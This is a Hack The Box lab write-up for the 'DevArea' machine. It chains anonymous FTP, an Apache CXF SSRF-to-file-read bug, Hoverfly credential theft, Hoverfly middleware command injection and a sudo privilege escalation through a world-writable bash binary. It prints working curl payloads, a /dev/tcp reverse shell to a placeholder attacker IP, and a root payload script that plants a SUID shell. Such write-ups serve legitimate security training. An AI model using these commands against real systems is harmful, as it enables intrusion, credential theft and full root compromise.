Hack The Box Web Linux Medium

DevArea

JAR analysis exposes an Apache CXF SSRF vulnerability. Credentials extracted via LFI feed into a Hoverfly command injection RCE. Privilege escalation via writable bash binary replacement through a misconfigured sudo rule.

PlatformHack The Box
DifficultyMedium
OSLinux
CVEsCVE-2022-46364 · CVE-2025-54123
01

Enumeration

terminalnmap full scan
Nmap scan results showing open ports
Seven open ports. FTP stands out immediately — nmap reports anonymous login permitted.

Full port scan surfaces a wide attack surface. The most immediately interesting result is FTP on port 21 with anonymous authentication enabled.

21
FTP
anon login ✓
22
SSH
creds needed
80
HTTP
static site
8080
HTTP
alt web
8500
HTTP
internal
8888
HTTP
Hoverfly API

FTP — Anonymous login

Logging in anonymously to the FTP server reveals a JAR file. This is a classic developer oversight — build artifacts left on production infrastructure. JAR files are ZIP archives containing compiled Java bytecode and, crucially, configuration files, dependency manifests, and sometimes hardcoded values that weren't meant to ship.

shell
ftp devarea.htb # Name: anonymous Password: (blank) ls get application.jar bye

Port 80 — Static, no attack surface

browserport 80
Port 80 static site with no functionality
Static site. Directory fuzzing returned nothing useful. Moving on.

Port 8888 — Hoverfly

browserport 8888 — Hoverfly API
Hoverfly service running on port 8888
Hoverfly — an HTTP proxy/simulation tool — is running on 8888. Its API is exploitable via CVE-2025-54123, but requires authentication.
terminalPUT request → 401
PUT request to Hoverfly API returning 401 Unauthorized
Attempting the CVE-2025-54123 middleware injection endpoint immediately returns 401. We have RCE potential but no credentials — yet.
Situation: We know Hoverfly is exploitable and we have an RCE primitive waiting. The blocker is credentials. The JAR file from FTP is the only unexplored resource — time to analyse it.
02

JAR Analysis — CVE-2022-46364 Discovery

A JAR file is just a renamed ZIP. Extract it and inspect the contents — particularly META-INF/MANIFEST.MF, Spring/CXF configuration files, and any properties files. No credentials in this JAR, but the dependency manifest reveals something critical.

shell
unzip application.jar -d app/ grep -r "cxf\|CXF\|apache" app/ --include="*.xml" --include="*.properties" -l
terminal / editorApache CXF version in JAR
Apache CXF Runtime SOAP Binding version 3.2.14 identified in JAR manifest
Apache CXF Runtime SOAP Binding version 3.2.14. This exact version is vulnerable to CVE-2022-46364.

CVE-2022-46364 — Apache CXF SSRF via WSDL import. Apache CXF before 3.5.5 and 4.x before 4.0.3 allows a remote attacker to trigger Server-Side Request Forgery through a crafted WSDL document. When CXF processes a WSDL with a malicious schemaLocation or import URL, it will make an outbound HTTP request to an attacker-controlled address. Since the request originates from the server itself, it can reach internal services and read local files — turning SSRF into LFI on the server's own filesystem.

CVE-2022-46364: CXF processes WSDL imports without sanitizing the target URL. The server fetches attacker-controlled URLs, including file:// URIs — giving arbitrary file read as the service account.

No public PoC existed that worked for this specific configuration, so I wrote one. It constructs a WSDL document with a malicious schemaLocation pointing to a file:// URI, sends it to the CXF endpoint found in the JAR, and decodes the base64-encoded response.

PoC: codeberg.org/cybermaksx/CVE-2022-46364-Proof-of-the-concept

03

SSRF → LFI → Credential Extraction

terminalCVE-2022-46364 — /etc/passwd
curl POST to CXF endpoint returning base64 encoded /etc/passwd
Crafted WSDL POST to the CXF endpoint. Server responds with base64-encoded contents of /etc/passwd — LFI confirmed.

The CXF endpoint (discovered from the JAR's service configuration) accepts a WSDL document via POST. By embedding a file:// URI as the schema import location, the server reads the target file and includes its contents in the SOAP fault response, base64-encoded.

shell — confirm LFI
curl -s -X POST http://devarea.htb:8080/Service \ -H "Content-Type: text/xml" \ -d @payload.xml | grep -oP '(?<=<ns:return>)[^<]+' | base64 -d

Finding Hoverfly credentials via LFI

With arbitrary file read confirmed, the next step is identifying what files would contain Hoverfly credentials. Reading the Hoverfly documentation reveals that when run as a systemd service, credentials are typically stored in the unit file or an adjacent configuration file. The systemd service file is at a predictable path.

shell — read hoverfly service file
# Target: /etc/systemd/system/hoverfly.service # Contains: ExecStart with -username and -password flags curl -s -X POST http://devarea.htb:8080/Service \ -H "Content-Type: text/xml" \ -d @lfi_hoverfly_service.xml | grep -oP '(?<=<ns:return>)[^<]+' | base64 -d
terminalhoverfly.service — credentials exposed
hoverfly.service file contents showing plaintext username and password in ExecStart flags
The systemd unit file contains the Hoverfly credentials in the ExecStart command as plaintext flags. Credentials extracted.
Credentials obtained. The Hoverfly instance is started with -username and -password flags hardcoded in the unit file. LFI → credential extraction complete.
04

RCE via Hoverfly — CVE-2025-54123

Hoverfly's middleware API (/api/v2/hoverfly/middleware) allows setting a custom script that gets executed for every proxied request. This is the intended functionality — but with no input sanitization on the script content, it's command injection. The endpoint requires a valid Bearer token, obtained by authenticating with the credentials we just extracted.

Step 1 — Authenticate and get Bearer token

shell
TOKEN=$(curl -s -X POST http://devarea.htb:8888/api/token-auth \ -H "Content-Type: application/json" \ -d '{"username":"<user>","password":"<pass>"}' | jq -r '.token')

Step 2 — Inject reverse shell via middleware endpoint

shell — CVE-2025-54123
curl -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "binary": "/bin/bash", "script": "bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1" }'
terminalshell received
Netcat listener receiving reverse shell connection from Hoverfly RCE
Shell received as the Hoverfly service account. Initial foothold established.
terminaluser.txt
cat user.txt — user flag captured
User flag captured.
shell
cat user.txt HTB{...}
05

Privilege Escalation — Writable Bash Binary

This escalation path is subtle and easy to miss if you rely too heavily on automated tools. LinPEAS points in several directions — most of them dead ends. The real vector requires reading two findings together and understanding what they mean in combination.

Sudo enumeration

shell
sudo -l User dev_ryan may run the following commands on devarea: (root) NOPASSWD: /opt/syswatch/syswatch.sh (root) NOPASSWD: !/opt/syswatch/syswatch.sh web-stop (root) NOPASSWD: !/opt/syswatch/syswatch.sh web-restart

dev_ryan can run syswatch.sh as root without a password — with two blacklisted arguments (web-stop and web-restart). Any other argument is permitted, including --version or no argument at all.

The key — /usr/bin/bash is world-writable

shell
ls -la /usr/bin/bash -rwxrwxrwx 1 root root 1446024 Mar 31 2024 /usr/bin/bash

The bash binary at /usr/bin/bash has permissions 777 — any user can overwrite it. When syswatch.sh runs as root and calls /usr/bin/bash, it will execute whatever binary sits at that path. If we replace it with a payload before triggering the script, the payload runs as root.

Why this works: The script is executed by root via sudo, so every command inside it runs as root — including the call to /usr/bin/bash. We control that binary. The script becomes our delivery mechanism for arbitrary root code execution.

The wrinkle — "Text file busy"

You cannot overwrite a binary while it is the active shell interpreter. If you try cp payload /usr/bin/bash from within a bash session, the kernel returns ETXTBSY. The solution: drop into /bin/sh first — a different interpreter — then do the overwrite. From /bin/sh, bash is just a file on disk, not an active text segment.

Exploitation — step by step

01
Backup the real bash binary. We need it to restore the system and to use as the actual shell interpreter inside our payload.

cp /usr/bin/bash /tmp/bash.bak
02
Write the payload script. This script runs as root when syswatch calls /usr/bin/bash. It reads the root flag, creates a SUID root shell binary, then restores the real bash so the system keeps working. The shebang points to /tmp/bash.bak — the real interpreter — so the payload itself is valid bash.
03
Drop into /bin/sh to avoid ETXTBSY. From within bash, overwriting /usr/bin/bash fails because the kernel locks executing text segments. Spawning /bin/sh as a child process detaches us from bash as interpreter — now it's just a file.

exec /bin/sh
04
Kill remaining bash processes, overwrite the binary, trigger syswatch. Any lingering bash processes would still hold the file busy. Kill them, then use dd to overwrite atomically, then immediately trigger the sudo script before anything else respawns bash.
05
Use the SUID rootbash for a persistent shell. The payload creates /tmp/rootbash — a copy of the real bash binary with the SUID bit set. Executing it with -p gives a shell where euid=0 regardless of who runs it.
shell — step 1+2: prepare payload (from bash)
cp /usr/bin/bash /tmp/bash.bak cat << 'EOF' > /tmp/payload.sh #!/tmp/bash.bak cat /root/root.txt > /tmp/root.txt chmod 777 /tmp/root.txt cp /tmp/bash.bak /tmp/rootbash chmod +s /tmp/rootbash cp /tmp/bash.bak /usr/bin/bash exec /tmp/bash.bak "$@" EOF chmod +x /tmp/payload.sh
shell — step 3: drop into /bin/sh
exec /bin/sh # Now in /bin/sh — bash is just a file, not our interpreter
sh — step 4: kill bash, overwrite, trigger
kill -9 $(pgrep -x bash) 2>/dev/null; \ dd if=/tmp/payload.sh of=/usr/bin/bash; \ sudo /opt/syswatch/syswatch.sh --version; \ cat /tmp/root.txt # dd output: 0+1 records in / 0+1 records out / 184 bytes copied ee51****************************
shell — step 5: persistent root shell
/tmp/rootbash -p # -p flag: don't drop privileges despite RUID != EUID id uid=1001(dev_ryan) gid=1001(dev_ryan) euid=0(root) egid=0(root) groups=0(root),1001(dev_ryan) cat /root/root.txt ee51****************************
Chain complete. FTP anon login → JAR analysis → CVE-2022-46364 SSRF/LFI → Hoverfly creds → CVE-2025-54123 RCE → sudo + writable bash binary → root. ✓ user.txt ✓ root.txt
06

Key Takeaways

01
Build artifacts on production servers are a goldmine. The JAR on FTP wasn't a credential dump — but it revealed a dependency version that unlocked the entire attack chain. Always extract and inspect JARs, WARs, and similar artifacts.
02
SSRF + LFI is a powerful combination. CVE-2022-46364 alone is "just" SSRF. But when the server can reach its own filesystem via file://, SSRF becomes arbitrary file read. The step from there to credential extraction is just knowing where to look.
03
Read service documentation to find sensitive file paths. The Hoverfly credentials weren't in any obvious location — /etc/passwd, home directories, config files in the app dir. Reading the Hoverfly docs revealed that credentials live in the systemd unit file. Know your targets.
04
Automated tools miss context-dependent vulnerabilities. LinPEAS flags writable binaries but doesn't correlate them with sudo rules. The privilege escalation here required reading two separate findings together. Don't outsource your analysis entirely to scripts.
05
ETXTBSY is a kernel protection, not a dead end. The "text file busy" error when overwriting an executing binary is real — but solvable. Dropping to a different shell interpreter breaks the lock. Understanding why the error occurs points directly to the workaround.
06
World-writable SUID-adjacent binaries are critical findings. A binary that root will execute and that any user can overwrite is effectively a root execution primitive. ls -la on binaries referenced in sudo rules should be a standard post-exploitation check.